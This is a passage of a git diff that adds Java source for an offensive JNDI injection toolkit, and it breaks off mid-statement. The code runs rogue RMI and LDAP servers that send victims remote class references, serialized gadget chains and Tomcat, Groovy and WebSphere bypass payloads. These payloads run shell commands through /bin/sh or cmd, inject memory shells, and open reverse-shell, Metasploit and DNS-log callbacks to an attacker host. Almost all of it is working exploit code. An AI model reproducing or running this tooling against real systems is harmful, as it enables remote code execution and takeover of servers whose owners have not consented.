{ + if (handleRMI(ois, out)) { + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + } + + } + + private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception { + int method = ois.readInt(); // method + ois.readLong(); // hash + + if (method != 2) { // lookup + return false; + } + + String object = (String) ois.readObject(); + System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method)); + out.writeByte(TransportConstants.Return); // transport op + try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) { + + oos.writeByte(TransportConstants.NormalReturn); + new UID().write(oos); + + //反射调用的类名 + ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); + + if (object.startsWith("Local")) { + System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 发送本地类加载引用")); + System.out.println("-------------------------------------- RMI Local Refenrence Links --------------------------------------"); + String[] cmd = object.split(" "); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(cmd[1])); + Reflections.setFieldValue(rw, "wrappee", EchoClass); + } else if (object.startsWith("E-")) { + String object1 = object.substring(object.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(object1)); + String className = EchoClass.getName(); + String className1 = className.replaceAll("\\.", "/"); + String turl = "http://" + ip + ":" + httpPort + "/" + className1 + ".class"; + String classPath = className + ".class"; + System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 向目标发送 stub >> %s", turl)); + System.out.println("-------------------------------------- RMI Remote Refenrence Links --------------------------------------"); + Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", classPath, turl)); + } else if (object.startsWith("M-")) { + //M-EX-MS-RFMSFromThreadF-bx#params + String object1 = object.substring(object.indexOf('-') + 1); + String[] parts = object1.split("#"); + String[] parts1 = parts[1].split(" "); + InjShell.init(parts1); + String className = Gadgets.createClassB(parts[0]); + String className1 = className.replaceAll("\\.", "/"); + String turl = "http://" + ip + ":" + httpPort + "/" + className1 + ".class"; + String className2 = className1.substring(className1.lastIndexOf('/') + 1); + System.out.println(ansi().render("@|green [+]|@ RMI 服务器 >> 向目标发送 stub >> %s", turl)); + System.out.println("-------------------------------------- RMI Remote Refenrence Links --------------------------------------"); + Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", className2, turl)); + } + + Field refF = RemoteObject.class.getDeclaredField("ref"); + refF.setAccessible(true); + refF.set(rw, new UnicastServerRef(12345)); + + oos.writeObject(rw); + + oos.flush(); + out.flush(); + } + return true; + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + private final URL sendUrl; + + + public MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + StringBuilder cb = new StringBuilder(); + + for (URL u : us) { + cb.append(u.toString()); + } + writeObject(cb.toString()); + } + } + + + /** + * Serializes a location from which to load the specified class. + */ + @Override + protected void annotateProxyClass(Class cl) throws IOException { + annotateClass(cl); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/Starter.java b/src/main/java/com/qi4l/jndi/Starter.java new file mode 100644 index 0000000..9c51609 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/Starter.java @@ -0,0 +1,32 @@ +package com.qi4l.jndi; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.ObjectPayload; +import org.apache.commons.collections4.map.CaseInsensitiveMap; + +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; + +public class Starter { + + public static CaseInsensitiveMap> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap(); + static { + for (Class clazz : ObjectPayload.Utils.getPayloadClasses()) { + caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz); + } + } + + public static boolean JYsoMode = false; + + public static void main(String[] args) throws Exception { + if (args.length > 0 && args[0].equals("-j")) { + Config.applyCmdArgs(args); + LdapServer.start(); + HTTPServer.start(); + RMIServer.start(); + } + if (args.length > 0 && args[0].equals("-y")) { + JYsoMode = true; + ysoserial(args); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/BasicController.java b/src/main/java/com/qi4l/jndi/controllers/BasicController.java new file mode 100644 index 0000000..0e85d50 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/BasicController.java @@ -0,0 +1,129 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.GadgetType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.InjShell; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import com.qi4l.jndi.template.CommandTemplate; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import java.net.URL; +import java.util.Base64; + +import static org.fusesource.jansi.Ansi.ansi; + +/** + * 本地工厂类加载 + */ +@LdapMapping(uri = {"/basic"}) +public class BasicController implements LdapController { + private static String payloadType; + //最后的反斜杠不能少 + private final String codebase = Config.codeBase; + private String[] params; + private GadgetType gadgetType; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with basic remote reference payload|@")); + Entry e = new Entry(base); + String className = ""; + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + className = EchoClass.getName(); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + className = Gadgets.createClassB(ClassName1); + } + + if (payloadType.contains("command")) { + CommandTemplate commandTemplate = new CommandTemplate(params[0]); + commandTemplate.cache(); + className = commandTemplate.getClassName(); + } + + String className1 = className.replaceAll("\\.", "/"); + URL turl = new URL(new URL(this.codebase), className1 + ".class"); + System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl)); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaCodeBase", this.codebase); + e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + e.addAttribute("javaFactory", className); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+] Command |@" + cmd)); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java b/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java new file mode 100644 index 0000000..3f37433 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/GroovyBypassController.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.naming.ResourceRef; + +import javax.naming.StringRefAddr; + +import static org.fusesource.jansi.Ansi.ansi; + +/* + * Requires: + * - Tomcat and Groovy in classpath + * + * @author https://twitter.com/orange_8361 and https://github.com/welk1n + * + * Groovy 语法参考: + * - https://xz.aliyun.com/t/8231#toc-7 + * - https://my.oschina.net/jjyuangu/blog/1815945 + * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails + */ + +@LdapMapping(uri = {"/groovybypass"}) +public class GroovyBypassController implements LdapController { + private PayloadType type; + private String[] params; + private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" + + " ['cmd','/C', '${cmd}'].execute();\n" + + " } else {\n" + + " ['/bin/sh','-c', '${cmd}'].execute();\n" + + " }"; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base + " @|MAGENTA with groovy.lang.GroovyShell payload|@")); + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=evaluate")); + ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0]))); + + e.addAttribute("javaSerializedData", Util.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + String payloadType = base.substring(firstIndex + 1, secondIndex); + if (payloadType.equalsIgnoreCase("command")) { + type = PayloadType.valueOf("command"); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type)); + } else { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType); + } + + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd)); + params = new String[]{cmd}; + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/LdapController.java b/src/main/java/com/qi4l/jndi/controllers/LdapController.java new file mode 100644 index 0000000..b20183c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/LdapController.java @@ -0,0 +1,13 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedActionTypeException; +import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; + +public interface LdapController { + void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; + + void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; +} diff --git a/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java b/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java new file mode 100644 index 0000000..6096552 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/LdapMapping.java @@ -0,0 +1,12 @@ +package com.qi4l.jndi.controllers; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface LdapMapping { + String[] uri(); +} diff --git a/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java b/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java new file mode 100644 index 0000000..eb58985 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/PropertiesRefAddr.java @@ -0,0 +1,19 @@ +package com.qi4l.jndi.controllers; + +import javax.naming.RefAddr; +import java.util.Properties; + +//this is a stub class required by WebSphere2 ldap handler +public class PropertiesRefAddr extends RefAddr { + private static final long serialVersionUID = 288055886942232156L; + private Properties props; + + public PropertiesRefAddr(String addrType, Properties props) { + super(addrType); + this.props = props; + } + + public Object getContent() { + return this.props; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java b/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java new file mode 100644 index 0000000..a74798b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/SerializedDataController.java @@ -0,0 +1,118 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.GadgetType; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.utils.Serializer; +import com.qi4l.jndi.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.commons.cli.CommandLine; + +import java.io.ByteArrayOutputStream; +import java.util.Base64; + +import static com.qi4l.jndi.gadgets.Config.Config.BCEL1; +import static org.fusesource.jansi.Ansi.ansi; + +@LdapMapping(uri = {"/deserialization"}) +public class SerializedDataController implements LdapController { + public static String gadgetType; + public static String cmd11; + public static GadgetType gadgetType1; + public static CommandLine cmdLine; + private PayloadType payloadType; + private String params; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + System.out.println(ansi().render("@|green [+] Send LDAP result for|@" + base + " @|green with javaSerializedData attribute|@")); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); + Entry e = new Entry(base); + + byte[] bytes; + + try { + final Class payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType); + ObjectPayload payload = payloadClass.newInstance(); + Object object = payload.getObject(params); + + if (SerializedDataController.gadgetType.equals("JRE8u20")) { + bytes = (byte[]) object; + } else { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + bytes = Serializer.serialize(object, out); + } + + e.addAttribute("javaClassName", "foo"); + e.addAttribute("javaSerializedData", bytes); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException { + try { + base = base.replace('\\', '/'); + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + try { + gadgetType = base.substring(firstIndex + 1, secondIndex); + System.out.println(ansi().render("@|green [+] GaddgetType : |@" + gadgetType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedGadgetTypeException("UnSupportGaddgetType >> " + base.substring(firstIndex + 1, secondIndex)); + } + int thirdIndex = base.indexOf("/", secondIndex + 1); + int fourIndex = base.indexOf("/", thirdIndex + 1); + String Ty1 = base.substring(thirdIndex + 1, fourIndex); + gadgetType1 = GadgetType.valueOf(Ty1.toLowerCase()); + // 若第三个斜杠不存在,则把其设置成为字符串的长度 + if (thirdIndex < 0) thirdIndex = base.length(); + try { + // 将类型值设为从第二个斜杠后的字符串到第三个斜杠前(不包括第三个斜杠)所表示的字符串转换为 PayloadType 枚举类型 + String Ty3 = base.substring(secondIndex + 1, thirdIndex); + payloadType = PayloadType.valueOf(Ty3.toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + if (payloadType == PayloadType.sethttp) { + params = BCEL1; + System.out.println(ansi().render("@|green [+] command:|@" + BCEL1)); + } + + if (payloadType == PayloadType.command) { + + if (gadgetType1 == GadgetType.base64) { + cmd11 = Util.getCmdFromBase(base); + } + + if (gadgetType1 == GadgetType.base64Two) { + String encodedString = Util.getCmdFromBase(base); + byte[] decodedBytes = Base64.getDecoder().decode(encodedString); + String T1 = new String(decodedBytes); + byte[] decodedBytes1 = Base64.getDecoder().decode(T1); + cmd11 = new String(decodedBytes1); + } + + params = cmd11; + System.out.println(ansi().render("@|green [+] command:|@" + cmd11)); + } + + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + if (e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException) e; + + throw new IncorrectParamsException("Incorrect params >> " + base); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java new file mode 100644 index 0000000..0535d16 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatBypassController.java @@ -0,0 +1,166 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.GadgetType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedGadgetTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.InjShell; +import com.qi4l.jndi.gadgets.utils.Util; +import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import org.apache.commons.cli.CommandLine; +import org.apache.naming.ResourceRef; + +import javax.naming.StringRefAddr; +import java.io.IOException; + +import static org.fusesource.jansi.Ansi.ansi; + + +@LdapMapping(uri = {"/tomcatbypass"}) +public class TomcatBypassController implements LdapController { + public static CommandLine cmdLine; + private String payloadType; + private String[] params; + private GadgetType gadgetType; + + /** + * 发送LDAP ResourceRef结果和重定向URL + * + * @param result InMemoryInterceptedSearchResult类型的结果 + * @param base 基本远程参考负载字符串 + * @throws Exception 异常 + */ + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + try { + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); + System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + TomcatBypassHelper helper = new TomcatBypassHelper(); + String code = null; + + if (payloadType.contains("E-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); + code = InjShell.injectClass(EchoClass); + } + + if (payloadType.contains("M-")) { + String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); + InjShell.init(params); + Class classQ = Gadgets.createClassT(ClassName1); + code = InjShell.injectClass(classQ); + } + + if (payloadType.contains("command")) { + code = helper.getExecCode(params[0]); + } + + String payloadTemplate = "{" + + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"{replacement}\")" + + "}"; + String finalPayload = payloadTemplate.replace("{replacement}", code); + ref.add(new StringRefAddr("x", finalPayload)); + e.addAttribute("javaSerializedData", Util.serialize(ref)); + // 将条目发送至结果中,并将结果设置为成功 + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } catch (Throwable er) { + System.err.println("Error while generating or serializing payload"); + er.printStackTrace(); + } + } + + /** + * 处理传入的参数 base + * + * @param base 传入的参数 + * @throws UnSupportedPayloadTypeException 不支持的载荷类型异常 + * @throws IncorrectParamsException 错误的参数异常 + * @throws UnSupportedGadgetTypeException 不支持的 Gadget 类型异常 + */ + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { + try { + base = base.replace('\\', '/'); + int fistIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", fistIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + payloadType = base.substring(fistIndex + 1, secondIndex); + System.out.println(ansi().render("@|green [+] PaylaodType : |@" + payloadType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + } + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex != -1) { + if (thirdIndex < 0) thirdIndex = base.length(); + try { + gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); + } + } + + if (gadgetType == GadgetType.base64) { + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = new String[]{cmd}; + } + + if (gadgetType == GadgetType.shell) { + String cmd1 = Util.getCmdFromBase(base); + byte[] decodedBytes = Util.base64Decode(cmd1); + String cmd = new String(decodedBytes); + String[] cmdArray = cmd.split(" "); + System.out.println(ansi().render("@|green [+] Command : |@" + cmd)); + params = cmdArray; + } + + if (gadgetType == GadgetType.msf) { + String[] results1 = Util.getIPAndPortFromBase(base); + Config.rhost = results1[0]; + Config.rport = results1[1]; + System.out.println("[+] RemotHost: " + results1[0]); + System.out.println("[+] RemotPort: " + results1[1]); + params = results1; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + + throw new IncorrectParamsException("Incorrect params: " + base); + } + } + + private class TomcatBypassHelper { + + public String getExecCode(String cmd) throws IOException { + + String code = "var strs=new Array(3);\n" + + " if(java.io.File.separator.equals('/')){\n" + + " strs[0]='/bin/bash';\n" + + " strs[1]='-c';\n" + + " strs[2]='" + cmd + "';\n" + + " }else{\n" + + " strs[0]='cmd';\n" + + " strs[1]='/C';\n" + + " strs[2]='" + cmd + "';\n" + + " }\n" + + " java.lang.Runtime.getRuntime().exec(strs);"; + + return code; + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java b/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java new file mode 100644 index 0000000..9f9261e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/controllers/WebsphereBypassController.java @@ -0,0 +1,136 @@ +package com.qi4l.jndi.controllers; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.enumtypes.WebsphereActionType; +import com.qi4l.jndi.exceptions.IncorrectParamsException; +import com.qi4l.jndi.exceptions.UnSupportedActionTypeException; +import com.qi4l.jndi.exceptions.UnSupportedPayloadTypeException; +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.gadgets.utils.Util; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import java.util.Properties; + +import static org.fusesource.jansi.Ansi.ansi; + +/* + * Requires: + * - websphere v6-9 libraries in the classpath + */ + +@LdapMapping(uri = {"/webspherebypass"}) +public class WebsphereBypassController implements LdapController { + private WebsphereActionType actionType; + private String localJarPath; + private String injectUrl; + + @Override + public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { + + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base)); + + Entry e = new Entry(base); + e.addAttribute("javaClassName", "java.lang.String"); //could be any + + Reference ref; + if (actionType == WebsphereActionType.rce) { + //prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory + ref = new Reference("ExportObject", + "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); + Properties refProps = new Properties(); + refProps.put("com.ibm.ws.client.classpath", localJarPath); + refProps.put("com.ibm.ws.client.classname", "xExportObject"); +// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps)); + + } else { + //prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory + ref = new Reference("ExploitObject", + "com.ibm.ws.webservices.engine.client.ServiceFactory", null); + ref.add(new StringRefAddr("WSDL location", injectUrl)); + ref.add(new StringRefAddr("service namespace", "xxx")); + ref.add(new StringRefAddr("service local part", "yyy")); + } + e.addAttribute("javaSerializedData", Util.serialize(ref)); + + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + + @Override + public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException { + try { + int firstIndex = base.indexOf("/"); + int secondIndex = base.indexOf("/", firstIndex + 1); + if (secondIndex < 0) secondIndex = base.length(); + + try { + actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase()); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType)); + } catch (IllegalArgumentException e) { + throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex)); + } + + switch (actionType) { + case list: + String file = base.substring(base.lastIndexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file; + break; + case rce: + String localJarFile = base.substring(base.lastIndexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile)); + localJarPath = localJarFile; + break; + case upload: + int thirdIndex = base.indexOf("/", secondIndex + 1); + if (thirdIndex < 0) thirdIndex = base.length(); + + PayloadType payloadType; + try { + payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); + // webspherebypass 只支持这 4 种类型的 PayloadType + if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog + && payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType); + } + } catch (IllegalArgumentException e) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex)); + } + + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType)); + switch (payloadType) { + case command: + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd; + break; + case dnslog: + String url = base.substring(base.lastIndexOf("/") + 1); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url)); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url; + break; + case reverseshell: + String[] results = Util.getIPAndPortFromBase(base); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0])); + System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1])); + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1]; + break; + case webspherememshell: + injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell"; + break; + } + break; + } + } catch (Exception e) { + if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; + if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e; + + throw new 